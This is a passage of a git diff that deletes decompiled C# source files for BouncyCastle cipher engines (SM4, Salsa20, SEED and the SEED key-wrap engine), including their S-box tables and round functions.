= Sbox[A >> 24]; - uint num2 = Sbox[(A >> 16) & 0xFF]; - uint num3 = Sbox[(A >> 8) & 0xFF]; - uint num4 = Sbox[A & 0xFF]; - return (num << 24) | (num2 << 16) | (num3 << 8) | num4; - } - - private static uint L_ap(uint B) - { - return B ^ Integers.RotateLeft(B, 13) ^ Integers.RotateLeft(B, 23); - } - - private uint T_ap(uint Z) - { - return L_ap(tau(Z)); - } - - private void ExpandKey(bool forEncryption, byte[] key) - { - uint num = Pack.BE_To_UInt32(key, 0) ^ FK[0]; - uint num2 = Pack.BE_To_UInt32(key, 4) ^ FK[1]; - uint num3 = Pack.BE_To_UInt32(key, 8) ^ FK[2]; - uint num4 = Pack.BE_To_UInt32(key, 12) ^ FK[3]; - if (forEncryption) - { - rk[0] = num ^ T_ap(num2 ^ num3 ^ num4 ^ CK[0]); - rk[1] = num2 ^ T_ap(num3 ^ num4 ^ rk[0] ^ CK[1]); - rk[2] = num3 ^ T_ap(num4 ^ rk[0] ^ rk[1] ^ CK[2]); - rk[3] = num4 ^ T_ap(rk[0] ^ rk[1] ^ rk[2] ^ CK[3]); - for (int i = 4; i < 32; i++) - { - rk[i] = rk[i - 4] ^ T_ap(rk[i - 3] ^ rk[i - 2] ^ rk[i - 1] ^ CK[i]); - } - return; - } - rk[31] = num ^ T_ap(num2 ^ num3 ^ num4 ^ CK[0]); - rk[30] = num2 ^ T_ap(num3 ^ num4 ^ rk[31] ^ CK[1]); - rk[29] = num3 ^ T_ap(num4 ^ rk[31] ^ rk[30] ^ CK[2]); - rk[28] = num4 ^ T_ap(rk[31] ^ rk[30] ^ rk[29] ^ CK[3]); - for (int num5 = 27; num5 >= 0; num5--) - { - rk[num5] = rk[num5 + 4] ^ T_ap(rk[num5 + 3] ^ rk[num5 + 2] ^ rk[num5 + 1] ^ CK[31 - num5]); - } - } - - private static uint L(uint B) - { - return B ^ Integers.RotateLeft(B, 2) ^ Integers.RotateLeft(B, 10) ^ Integers.RotateLeft(B, 18) ^ Integers.RotateLeft(B, 24); - } - - private static uint T(uint Z) - { - return L(tau(Z)); - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter keyParameter)) - { - throw new ArgumentException("invalid parameter passed to SM4 init - " + Platform.GetTypeName(parameters), "parameters"); - } - byte[] key = keyParameter.GetKey(); - if (key.Length != 16) - { - throw new ArgumentException("SM4 requires a 128 bit key", "parameters"); - } - if (rk == null) - { - rk = new uint[32]; - } - ExpandKey(forEncryption, key); - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (rk == null) - { - throw new InvalidOperationException("SM4 not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - uint num = Pack.BE_To_UInt32(input, inOff); - uint num2 = Pack.BE_To_UInt32(input, inOff + 4); - uint num3 = Pack.BE_To_UInt32(input, inOff + 8); - uint num4 = Pack.BE_To_UInt32(input, inOff + 12); - for (int i = 0; i < 32; i += 4) - { - num ^= T(num2 ^ num3 ^ num4 ^ rk[i]); - num2 ^= T(num3 ^ num4 ^ num ^ rk[i + 1]); - num3 ^= T(num4 ^ num ^ num2 ^ rk[i + 2]); - num4 ^= T(num ^ num2 ^ num3 ^ rk[i + 3]); - } - Pack.UInt32_To_BE(num4, output, outOff); - Pack.UInt32_To_BE(num3, output, outOff + 4); - Pack.UInt32_To_BE(num2, output, outOff + 8); - Pack.UInt32_To_BE(num, output, outOff + 12); - return 16; - } - - public virtual void Reset() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Salsa20Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Salsa20Engine.cs deleted file mode 100644 index f412d78..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Salsa20Engine.cs +++ /dev/null @@ -1,310 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Salsa20Engine : IStreamCipher -{ - private const int StateSize = 16; - - public static readonly int DEFAULT_ROUNDS = 20; - - private static readonly uint[] TAU_SIGMA = Pack.LE_To_UInt32(Strings.ToAsciiByteArray("expand 16-byte kexpand 32-byte k"), 0, 8); - - [Obsolete] - protected static readonly byte[] sigma = Strings.ToAsciiByteArray("expand 32-byte k"); - - [Obsolete] - protected static readonly byte[] tau = Strings.ToAsciiByteArray("expand 16-byte k"); - - protected int rounds; - - private int index = 0; - - internal uint[] engineState = new uint[16]; - - internal uint[] x = new uint[16]; - - private byte[] keyStream = new byte[64]; - - private bool initialised = false; - - private uint cW0; - - private uint cW1; - - private uint cW2; - - protected virtual int NonceSize => 8; - - public virtual string AlgorithmName - { - get - { - string text = "Salsa20"; - if (rounds != DEFAULT_ROUNDS) - { - text = text + "/" + rounds; - } - return text; - } - } - - internal void PackTauOrSigma(int keyLength, uint[] state, int stateOffset) - { - int num = (keyLength - 16) / 4; - state[stateOffset] = TAU_SIGMA[num]; - state[stateOffset + 1] = TAU_SIGMA[num + 1]; - state[stateOffset + 2] = TAU_SIGMA[num + 2]; - state[stateOffset + 3] = TAU_SIGMA[num + 3]; - } - - public Salsa20Engine() - : this(DEFAULT_ROUNDS) - { - } - - public Salsa20Engine(int rounds) - { - if (rounds <= 0 || (rounds & 1) != 0) - { - throw new ArgumentException("'rounds' must be a positive, even number"); - } - this.rounds = rounds; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is ParametersWithIV parametersWithIV)) - { - throw new ArgumentException(AlgorithmName + " Init requires an IV", "parameters"); - } - byte[] iV = parametersWithIV.GetIV(); - if (iV == null || iV.Length != NonceSize) - { - throw new ArgumentException(AlgorithmName + " requires exactly " + NonceSize + " bytes of IV"); - } - ICipherParameters parameters2 = parametersWithIV.Parameters; - if (parameters2 == null) - { - if (!initialised) - { - throw new InvalidOperationException(AlgorithmName + " KeyParameter can not be null for first initialisation"); - } - SetKey(null, iV); - } - else - { - if (!(parameters2 is KeyParameter)) - { - throw new ArgumentException(AlgorithmName + " Init parameters must contain a KeyParameter (or null for re-init)"); - } - SetKey(((KeyParameter)parameters2).GetKey(), iV); - } - Reset(); - initialised = true; - } - - public virtual byte ReturnByte(byte input) - { - if (LimitExceeded()) - { - throw new MaxBytesExceededException("2^70 byte limit per IV; Change IV"); - } - if (index == 0) - { - GenerateKeyStream(keyStream); - AdvanceCounter(); - } - byte result = (byte)(keyStream[index] ^ input); - index = (index + 1) & 0x3F; - return result; - } - - protected virtual void AdvanceCounter() - { - uint[] array; - if (((array = engineState)[8] = array[8] + 1) == 0) - { - (array = engineState)[9] = array[9] + 1; - } - } - - public virtual void ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(inBytes, inOff, len, "input buffer too short"); - Check.OutputLength(outBytes, outOff, len, "output buffer too short"); - if (LimitExceeded((uint)len)) - { - throw new MaxBytesExceededException("2^70 byte limit per IV would be exceeded; Change IV"); - } - for (int i = 0; i < len; i++) - { - if (index == 0) - { - GenerateKeyStream(keyStream); - AdvanceCounter(); - } - outBytes[i + outOff] = (byte)(keyStream[index] ^ inBytes[i + inOff]); - index = (index + 1) & 0x3F; - } - } - - public virtual void Reset() - { - index = 0; - ResetLimitCounter(); - ResetCounter(); - } - - protected virtual void ResetCounter() - { - engineState[8] = (engineState[9] = 0u); - } - - protected virtual void SetKey(byte[] keyBytes, byte[] ivBytes) - { - if (keyBytes != null) - { - if (keyBytes.Length != 16 && keyBytes.Length != 32) - { - throw new ArgumentException(AlgorithmName + " requires 128 bit or 256 bit key"); - } - int num = (keyBytes.Length - 16) / 4; - engineState[0] = TAU_SIGMA[num]; - engineState[5] = TAU_SIGMA[num + 1]; - engineState[10] = TAU_SIGMA[num + 2]; - engineState[15] = TAU_SIGMA[num + 3]; - Pack.LE_To_UInt32(keyBytes, 0, engineState, 1, 4); - Pack.LE_To_UInt32(keyBytes, keyBytes.Length - 16, engineState, 11, 4); - } - Pack.LE_To_UInt32(ivBytes, 0, engineState, 6, 2); - } - - protected virtual void GenerateKeyStream(byte[] output) - { - SalsaCore(rounds, engineState, x); - Pack.UInt32_To_LE(x, output, 0); - } - - internal static void SalsaCore(int rounds, uint[] input, uint[] x) - { - if (input.Length != 16) - { - throw new ArgumentException(); - } - if (x.Length != 16) - { - throw new ArgumentException(); - } - if (rounds % 2 != 0) - { - throw new ArgumentException("Number of rounds must be even"); - } - uint num = input[0]; - uint num2 = input[1]; - uint num3 = input[2]; - uint num4 = input[3]; - uint num5 = input[4]; - uint num6 = input[5]; - uint num7 = input[6]; - uint num8 = input[7]; - uint num9 = input[8]; - uint num10 = input[9]; - uint num11 = input[10]; - uint num12 = input[11]; - uint num13 = input[12]; - uint num14 = input[13]; - uint num15 = input[14]; - uint num16 = input[15]; - for (int num17 = rounds; num17 > 0; num17 -= 2) - { - num5 ^= R(num + num13, 7); - num9 ^= R(num5 + num, 9); - num13 ^= R(num9 + num5, 13); - num ^= R(num13 + num9, 18); - num10 ^= R(num6 + num2, 7); - num14 ^= R(num10 + num6, 9); - num2 ^= R(num14 + num10, 13); - num6 ^= R(num2 + num14, 18); - num15 ^= R(num11 + num7, 7); - num3 ^= R(num15 + num11, 9); - num7 ^= R(num3 + num15, 13); - num11 ^= R(num7 + num3, 18); - num4 ^= R(num16 + num12, 7); - num8 ^= R(num4 + num16, 9); - num12 ^= R(num8 + num4, 13); - num16 ^= R(num12 + num8, 18); - num2 ^= R(num + num4, 7); - num3 ^= R(num2 + num, 9); - num4 ^= R(num3 + num2, 13); - num ^= R(num4 + num3, 18); - num7 ^= R(num6 + num5, 7); - num8 ^= R(num7 + num6, 9); - num5 ^= R(num8 + num7, 13); - num6 ^= R(num5 + num8, 18); - num12 ^= R(num11 + num10, 7); - num9 ^= R(num12 + num11, 9); - num10 ^= R(num9 + num12, 13); - num11 ^= R(num10 + num9, 18); - num13 ^= R(num16 + num15, 7); - num14 ^= R(num13 + num16, 9); - num15 ^= R(num14 + num13, 13); - num16 ^= R(num15 + num14, 18); - } - x[0] = num + input[0]; - x[1] = num2 + input[1]; - x[2] = num3 + input[2]; - x[3] = num4 + input[3]; - x[4] = num5 + input[4]; - x[5] = num6 + input[5]; - x[6] = num7 + input[6]; - x[7] = num8 + input[7]; - x[8] = num9 + input[8]; - x[9] = num10 + input[9]; - x[10] = num11 + input[10]; - x[11] = num12 + input[11]; - x[12] = num13 + input[12]; - x[13] = num14 + input[13]; - x[14] = num15 + input[14]; - x[15] = num16 + input[15]; - } - - internal static uint R(uint x, int y) - { - return (x << y) | (x >> 32 - y); - } - - private void ResetLimitCounter() - { - cW0 = 0u; - cW1 = 0u; - cW2 = 0u; - } - - private bool LimitExceeded() - { - if (++cW0 == 0 && ++cW1 == 0) - { - return (++cW2 & 0x20) != 0; - } - return false; - } - - private bool LimitExceeded(uint len) - { - uint num = cW0; - cW0 += len; - if (cW0 < num && ++cW1 == 0) - { - return (++cW2 & 0x20) != 0; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SeedEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SeedEngine.cs deleted file mode 100644 index cf1616d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SeedEngine.cs +++ /dev/null @@ -1,282 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class SeedEngine : IBlockCipher -{ - private const int BlockSize = 16; - - private static readonly uint[] SS0 = new uint[256] - { - 696885672u, 92635524u, 382128852u, 331600848u, 340021332u, 487395612u, 747413676u, 621093156u, 491606364u, 54739776u, - 403181592u, 504238620u, 289493328u, 1020063996u, 181060296u, 591618912u, 671621160u, 71581764u, 536879136u, 495817116u, - 549511392u, 583197408u, 147374280u, 386339604u, 629514660u, 261063564u, 50529024u, 994800504u, 999011256u, 318968592u, - 314757840u, 785310444u, 809529456u, 210534540u, 1057960764u, 680042664u, 839004720u, 500027868u, 919007988u, 876900468u, - 751624428u, 361075092u, 185271048u, 390550356u, 474763356u, 457921368u, 1032696252u, 16843008u, 604250148u, 470552604u, - 860058480u, 411603096u, 268439568u, 214745292u, 851636976u, 432656856u, 738992172u, 667411428u, 843215472u, 58950528u, - 462132120u, 297914832u, 109478532u, 164217288u, 541089888u, 272650320u, 595829664u, 734782440u, 218956044u, 914797236u, - 512660124u, 256852812u, 931640244u, 441078360u, 113689284u, 944271480u, 646357668u, 302125584u, 797942700u, 365285844u, - 557932896u, 63161280u, 881111220u, 21053760u, 306336336u, 1028485500u, 227377548u, 134742024u, 521081628u, 428446104u, - 0u, 420024600u, 67371012u, 323179344u, 935850996u, 566354400u, 1036907004u, 910586484u, 789521196u, 654779172u, - 813740208u, 193692552u, 235799052u, 730571688u, 578986656u, 776888940u, 327390096u, 223166796u, 692674920u, 1011642492u, - 151585032u, 168428040u, 1066382268u, 802153452u, 868479984u, 96846276u, 126321540u, 335810580u, 1053750012u, 608460900u, - 516870876u, 772678188u, 189481800u, 436867608u, 101057028u, 553722144u, 726360936u, 642146916u, 33686016u, 902164980u, - 310547088u, 176849544u, 202113036u, 864269232u, 1045328508u, 281071824u, 977957496u, 122110788u, 377918100u, 633725412u, - 637936164u, 8421504u, 764256684u, 533713884u, 562143648u, 805318704u, 923218740u, 781099692u, 906375732u, 352653588u, - 570565152u, 940060728u, 885321972u, 663200676u, 88424772u, 206323788u, 25264512u, 701096424u, 75792516u, 394761108u, - 889532724u, 197903304u, 248431308u, 1007431740u, 826372464u, 285282576u, 130532292u, 160006536u, 893743476u, 1003222008u, - 449499864u, 952692984u, 344232084u, 424235352u, 42107520u, 80003268u, 1070593020u, 155795784u, 956903736u, 658989924u, - 12632256u, 265274316u, 398971860u, 948482232u, 252642060u, 244220556u, 37896768u, 587408160u, 293704080u, 743202924u, - 466342872u, 612671652u, 872689716u, 834793968u, 138952776u, 46318272u, 793731948u, 1024274748u, 755835180u, 4210752u, - 1049539260u, 1041117756u, 1015853244u, 29475264u, 713728680u, 982168248u, 240009804u, 356864340u, 990589752u, 483184860u, - 675831912u, 1062171516u, 478974108u, 415813848u, 172638792u, 373707348u, 927429492u, 545300640u, 768467436u, 105267780u, - 897954228u, 722150184u, 625303908u, 986379000u, 600040416u, 965325240u, 830583216u, 529503132u, 508449372u, 969535992u, - 650568420u, 847426224u, 822161712u, 717939432u, 760045932u, 525292380u, 616882404u, 817950960u, 231588300u, 143163528u, - 369496596u, 973746744u, 407392344u, 348442836u, 574775904u, 688464168u, 117900036u, 855847728u, 684253416u, 453710616u, - 84214020u, 961114488u, 276861072u, 709517928u, 705307176u, 445289112u - }; - - private static readonly uint[] SS1 = new uint[256] - { - 943196208u, 3894986976u, 741149985u, 2753988258u, 3423588291u, 3693006546u, 2956166067u, 3090712752u, 2888798115u, 1612726368u, - 1410680145u, 3288844227u, 1141130304u, 1815039843u, 1747667811u, 1478183763u, 3221472195u, 1612857954u, 808649523u, 3023406513u, - 673777953u, 2686484640u, 3760374498u, 2754054051u, 3490956243u, 2417066385u, 269549841u, 67503618u, 471600144u, 3158084784u, - 875955762u, 1208699715u, 3962556387u, 2282260608u, 1814842464u, 2821228704u, 337053459u, 3288646848u, 336987666u, 4097098992u, - 3221406402u, 1141196097u, 3760308705u, 3558262482u, 1010765619u, 1010634033u, 2349764226u, 2551744656u, 673712160u, 1276005954u, - 4097230578u, 1010699826u, 2753922465u, 4164536817u, 202181889u, 3693072339u, 3625502928u, 673909539u, 1680229986u, 2017086066u, - 606537507u, 741281571u, 4029792753u, 1882342002u, 1073889858u, 3558130896u, 1073824065u, 3221274816u, 1882407795u, 1680295779u, - 2888600736u, 2282457987u, 4097296371u, 2888666529u, 2147516544u, 471797523u, 3356150466u, 741084192u, 2821360290u, 875824176u, - 3490890450u, 134941443u, 3962490594u, 3895052769u, 1545424209u, 2484372624u, 404228112u, 4164471024u, 1410811731u, 2888732322u, - 134744064u, 3288712641u, 269681427u, 3423456705u, 2215020162u, 3090778545u, 4232040435u, 2084392305u, 3221340609u, 808517937u, - 4097164785u, 2282392194u, 1747602018u, 2956034481u, 3490824657u, 538968096u, 3558328275u, 131586u, 539099682u, 67372032u, - 1747470432u, 1882276209u, 67569411u, 3625700307u, 2619182481u, 2551810449u, 1612792161u, 3158216370u, 3827746530u, 1478052177u, - 3692940753u, 1343308113u, 2417000592u, 3692874960u, 2551876242u, 2686682019u, 2821426083u, 3490758864u, 2147582337u, 202313475u, - 1141327683u, 404359698u, 3760440291u, 3962359008u, 2349698433u, 3158282163u, 2484504210u, 2017151859u, 1545358416u, 2686616226u, - 2686550433u, 1612923747u, 539165475u, 1275940161u, 3356018880u, 2619248274u, 2619116688u, 943327794u, 202116096u, 741215778u, - 3090844338u, 1814974050u, 2619314067u, 1478117970u, 4029858546u, 2417132178u, 4029924339u, 1208568129u, 2016954480u, 3423390912u, - 336921873u, 4164668403u, 1882210416u, 1949648241u, 2084523891u, 875889969u, 269484048u, 197379u, 1680098400u, 1814908257u, - 3288778434u, 1949582448u, 3558196689u, 3023340720u, 3895118562u, 134809857u, 1949714034u, 404293905u, 4231974642u, 1073758272u, - 269615634u, 3760242912u, 3158150577u, 67437825u, 4164602610u, 65793u, 4029726960u, 673843746u, 1545490002u, 2821294497u, - 1410745938u, 1073955651u, 2214954369u, 336856080u, 2282326401u, 2551942035u, 2955968688u, 3827680737u, 1208502336u, 2017020273u, - 2484570003u, 4231843056u, 471731730u, 2147648130u, 539033889u, 2349632640u, 404425491u, 1545555795u, 1949779827u, 1410614352u, - 2956100274u, 471665937u, 606405921u, 1276071747u, 0u, 1141261890u, 3962424801u, 1477986384u, 1343373906u, 3895184355u, - 2084458098u, 3625634514u, 3356084673u, 4231908849u, 808452144u, 2484438417u, 1680164193u, 1010568240u, 3023472306u, 3827614944u, - 3090910131u, 2084326512u, 202247682u, 1343242320u, 943262001u, 606471714u, 808583730u, 2214888576u, 1747536225u, 2417197971u, - 876021555u, 3827812323u, 606340128u, 2753856672u, 3356216259u, 1343439699u, 134875650u, 2215085955u, 3625568721u, 1275874368u, - 2147713923u, 2349830019u, 3423522498u, 943393587u, 1208633922u, 3023538099u - }; - - private static readonly uint[] SS2 = new uint[256] - { - 2712152457u, 2172913029u, 3537114822u, 3553629123u, 1347687492u, 287055117u, 2695638156u, 556016901u, 1364991309u, 1128268611u, - 270014472u, 303832590u, 1364201793u, 4043062476u, 3267889866u, 1667244867u, 539502600u, 1078199364u, 538976256u, 2442927501u, - 3772784832u, 3806339778u, 3234334920u, 320083719u, 2711889285u, 2206994319u, 50332419u, 1937259339u, 3015195531u, 319820547u, - 3536851650u, 3807129294u, 1886400576u, 2156661900u, 859586319u, 2695374984u, 842019330u, 3520863693u, 4076091078u, 1886663748u, - 3773574348u, 2442401157u, 50858763u, 1398019911u, 1348213836u, 1398283083u, 2981903757u, 16777473u, 539239428u, 270277644u, - 1936732995u, 2425886856u, 269488128u, 3234598092u, 4075827906u, 3520600521u, 539765772u, 3823380423u, 1919955522u, 2206204803u, - 2476219275u, 3520074177u, 2189690502u, 3251112393u, 1616912448u, 1347424320u, 2745181059u, 3823643595u, 17566989u, 2998154886u, - 2459704974u, 1129058127u, 3014932359u, 1381505610u, 3267626694u, 1886926920u, 2728666758u, 303043074u, 2745970575u, 3520337349u, - 1633689921u, 3284140995u, 2964599940u, 1094713665u, 1380979266u, 1903967565u, 2173439373u, 526344u, 320610063u, 2442664329u, - 0u, 286791945u, 263172u, 1397756739u, 4092868551u, 3789562305u, 4059839949u, 1920218694u, 590098191u, 589571847u, - 2964336768u, 2206731147u, 34344462u, 2745707403u, 2728403586u, 1651256910u, 2475692931u, 1095503181u, 1634216265u, 1887190092u, - 17303817u, 34081290u, 3015458703u, 3823906767u, 4092605379u, 3250849221u, 2206467975u, 269751300u, 4076617422u, 1617175620u, - 3537641166u, 573320718u, 1128794955u, 303569418u, 33818118u, 555753729u, 1667771211u, 1650730566u, 33554946u, 4059313605u, - 2458915458u, 2189953674u, 789516u, 3014669187u, 1920745038u, 3503296704u, 1920481866u, 1128531783u, 2459178630u, 3789825477u, - 572794374u, 2155872384u, 2712415629u, 3554418639u, 2711626113u, 808464384u, 859059975u, 2729193102u, 842282502u, 286528773u, - 572531202u, 808990728u, 4042536132u, 2745444231u, 1094976837u, 1078725708u, 2172649857u, 3790088649u, 2156135556u, 2475956103u, - 825505029u, 3284667339u, 3268153038u, 809253900u, 1903178049u, 286265601u, 3284404167u, 2173176201u, 1903441221u, 4093131723u, - 3537377994u, 4042799304u, 2425623684u, 1364728137u, 2189427330u, 3234071748u, 4093394895u, 1095240009u, 825768201u, 1667508039u, - 3233808576u, 3284930511u, 3553892295u, 2964863112u, 51121935u, 2190216846u, 1111491138u, 589308675u, 2442137985u, 1617701964u, - 3554155467u, 2695111812u, 808727556u, 4059050433u, 1078462536u, 3267363522u, 1668034383u, 826031373u, 556543245u, 1077936192u, - 2998681230u, 842808846u, 2965126284u, 3250586049u, 2728929930u, 2998418058u, 1112280654u, 1364464965u, 859323147u, 3504086220u, - 1617438792u, 1937522511u, 2426150028u, 3503823048u, 1112017482u, 1381242438u, 1936996167u, 2694848640u, 3790351821u, 1111754310u, - 2981377413u, 589835019u, 1633953093u, 4076354250u, 3823117251u, 2981640585u, 2981114241u, 2476482447u, 1381768782u, 4059576777u, - 3806602950u, 2997891714u, 825241857u, 3806866122u, 1634479437u, 1398546255u, 3773048004u, 4042272960u, 3251375565u, 2156398728u, - 303306246u, 842545674u, 1347950664u, 3503559876u, 1650467394u, 556280073u, 50595591u, 858796803u, 3773311176u, 320346891u, - 17040645u, 1903704393u, 2425360512u, 1650993738u, 573057546u, 2459441802u - }; - - private static readonly uint[] SS3 = new uint[256] - { - 137377848u, 3370182696u, 220277805u, 2258805798u, 3485715471u, 3469925406u, 2209591347u, 2293282872u, 2409868335u, 1080057888u, - 1162957845u, 3351495687u, 1145062404u, 1331915823u, 1264805931u, 1263753243u, 3284385795u, 1113743394u, 53686323u, 2243015733u, - 153167913u, 2158010400u, 3269648418u, 2275648551u, 3285438483u, 2173800465u, 17895441u, 100795398u, 202382364u, 2360392764u, - 103953462u, 1262700555u, 3487820847u, 2290124808u, 1281387564u, 2292230184u, 118690839u, 3300967428u, 101848086u, 3304125492u, - 3267543042u, 1161905157u, 3252805665u, 3335705622u, 255015999u, 221330493u, 2390920206u, 2291177496u, 136325160u, 1312967694u, - 3337810998u, 238173246u, 2241963045u, 3388078137u, 218172429u, 3486768159u, 3369130008u, 186853419u, 1180853286u, 1249015866u, - 119743527u, 253963311u, 3253858353u, 1114796082u, 1111638018u, 3302020116u, 1094795265u, 3233857536u, 1131638835u, 1197696039u, - 2359340076u, 2340653067u, 3354653751u, 2376182829u, 2155905024u, 252910623u, 3401762826u, 203435052u, 2325915690u, 70267956u, - 3268595730u, 184748043u, 3470978094u, 3387025449u, 1297177629u, 2224067604u, 135272472u, 3371235384u, 1196643351u, 2393025582u, - 134219784u, 3317810181u, 51580947u, 3452029965u, 2256700422u, 2310125625u, 3488873535u, 1299283005u, 3250700289u, 20000817u, - 3320968245u, 2323810314u, 1247963178u, 2175905841u, 3251752977u, 2105376u, 3352548375u, 33685506u, 35790882u, 67109892u, - 1214277672u, 1097953329u, 117638151u, 3419658267u, 2375130141u, 2308020249u, 1096900641u, 2394078270u, 3336758310u, 1230067737u, - 3453082653u, 1095847953u, 2156957712u, 3436239900u, 2324863002u, 2208538659u, 2342758443u, 3234910224u, 2172747777u, 251857935u, - 1195590663u, 168957978u, 3286491171u, 3437292588u, 2374077453u, 2410921023u, 2257753110u, 1265858619u, 1280334876u, 2191695906u, - 2174853153u, 1130586147u, 52633635u, 1296124941u, 3368077320u, 2391972894u, 2358287388u, 171063354u, 201329676u, 237120558u, - 2326968378u, 1315073070u, 2408815647u, 1246910490u, 3270701106u, 2190643218u, 3287543859u, 1229015049u, 1215330360u, 3435187212u, - 85005333u, 3421763643u, 1081110576u, 1165063221u, 1332968511u, 87110709u, 1052688u, 50528259u, 1147167780u, 1298230317u, - 3334652934u, 1148220468u, 3318862869u, 2226172980u, 3403868202u, 151062537u, 1181905974u, 152115225u, 3472030782u, 1077952512u, - 34738194u, 3235962912u, 2377235517u, 83952645u, 3404920890u, 16842753u, 3237015600u, 170010666u, 1314020382u, 2309072937u, - 1179800598u, 1128480771u, 2239857669u, 68162580u, 2306967561u, 2341705755u, 2159063088u, 3319915557u, 1212172296u, 1232173113u, - 2274595863u, 3438345276u, 236067870u, 2189590530u, 18948129u, 2357234700u, 185800731u, 1330863135u, 1198748727u, 1146115092u, - 2192748594u, 219225117u, 86058021u, 1329810447u, 0u, 1178747910u, 3454135341u, 1213224984u, 1112690706u, 3420710955u, - 1316125758u, 3402815514u, 3384920073u, 3455188029u, 3158064u, 2240910357u, 1164010533u, 204487740u, 2259858486u, 3303072804u, - 2343811131u, 1282440252u, 235015182u, 1079005200u, 154220601u, 102900774u, 36843570u, 2223014916u, 1231120425u, 2207485971u, - 120796215u, 3353601063u, 69215268u, 2225120292u, 3418605579u, 1129533459u, 167905290u, 2273543175u, 3385972761u, 1279282188u, - 2206433283u, 2407762959u, 3468872718u, 187906107u, 1245857802u, 2276701239u - }; - - private static readonly uint[] KC = new uint[16] - { - 2654435769u, 1013904243u, 2027808486u, 4055616972u, 3816266649u, 3337566003u, 2380164711u, 465362127u, 930724254u, 1861448508u, - 3722897016u, 3150826737u, 2006686179u, 4013372358u, 3731777421u, 3168587547u - }; - - private int[] wKey; - - private bool forEncryption; - - public virtual string AlgorithmName => "SEED"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - wKey = createWorkingKey(((KeyParameter)parameters).GetKey()); - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual int ProcessBlock(byte[] inBuf, int inOff, byte[] outBuf, int outOff) - { - if (wKey == null) - { - throw new InvalidOperationException("SEED engine not initialised"); - } - Check.DataLength(inBuf, inOff, 16, "input buffer too short"); - Check.OutputLength(outBuf, outOff, 16, "output buffer too short"); - long num = bytesToLong(inBuf, inOff); - long num2 = bytesToLong(inBuf, inOff + 8); - if (forEncryption) - { - for (int i = 0; i < 16; i++) - { - long num3 = num2; - num2 = num ^ F(wKey[2 * i], wKey[2 * i + 1], num2); - num = num3; - } - } - else - { - for (int num4 = 15; num4 >= 0; num4--) - { - long num5 = num2; - num2 = num ^ F(wKey[2 * num4], wKey[2 * num4 + 1], num2); - num = num5; - } - } - longToBytes(outBuf, outOff, num2); - longToBytes(outBuf, outOff + 8, num); - return 16; - } - - public virtual void Reset() - { - } - - private int[] createWorkingKey(byte[] inKey) - { - int[] array = new int[32]; - long num = bytesToLong(inKey, 0); - long num2 = bytesToLong(inKey, 8); - int num3 = extractW0(num); - int num4 = extractW1(num); - int num5 = extractW0(num2); - int num6 = extractW1(num2); - for (int i = 0; i < 16; i++) - { - array[2 * i] = G(num3 + num5 - (int)KC[i]); - array[2 * i + 1] = G(num4 - num6 + (int)KC[i]); - if (i % 2 == 0) - { - num = rotateRight8(num); - num3 = extractW0(num); - num4 = extractW1(num); - } - else - { - num2 = rotateLeft8(num2); - num5 = extractW0(num2); - num6 = extractW1(num2); - } - } - return array; - } - - private int extractW1(long lVal) - { - return (int)lVal; - } - - private int extractW0(long lVal) - { - return (int)(lVal >> 32); - } - - private long rotateLeft8(long x) - { - return (x << 8) | (x >>> 56); - } - - private long rotateRight8(long x) - { - return (x >>> 8) | (x << 56); - } - - private long bytesToLong(byte[] src, int srcOff) - { - long num = 0L; - for (int i = 0; i <= 7; i++) - { - num = (num << 8) + (src[i + srcOff] & 0xFF); - } - return num; - } - - private void longToBytes(byte[] dest, int destOff, long value) - { - for (int i = 0; i < 8; i++) - { - dest[i + destOff] = (byte)(value >> (7 - i) * 8); - } - } - - private int G(int x) - { - return (int)(SS0[x & 0xFF] ^ SS1[(x >> 8) & 0xFF] ^ SS2[(x >> 16) & 0xFF] ^ SS3[(x >> 24) & 0xFF]); - } - - private long F(int ki0, int ki1, long r) - { - int r2 = (int)(r >> 32); - int r3 = (int)r; - int num = phaseCalc2(r2, ki0, r3, ki1); - int num2 = num + phaseCalc1(r2, ki0, r3, ki1); - return ((long)num2 << 32) | (num & 0xFFFFFFFFu); - } - - private int phaseCalc1(int r0, int ki0, int r1, int ki1) - { - return G(G(r0 ^ ki0 ^ (r1 ^ ki1)) + (r0 ^ ki0)); - } - - private int phaseCalc2(int r0, int ki0, int r1, int ki1) - { - return G(phaseCalc1(r0, ki0, r1, ki1) + G(r0 ^ ki0 ^ (r1 ^ ki1))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SeedWrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SeedWrapEngine.cs deleted file mode 100644 index d0053ae..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SeedWrapEngine.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Engines; - -public class SeedWrapEngine : Rfc3394WrapEngine -{ - public SeedWrapEngine() - : base(new SeedEngine()) - { - } -} diff --git 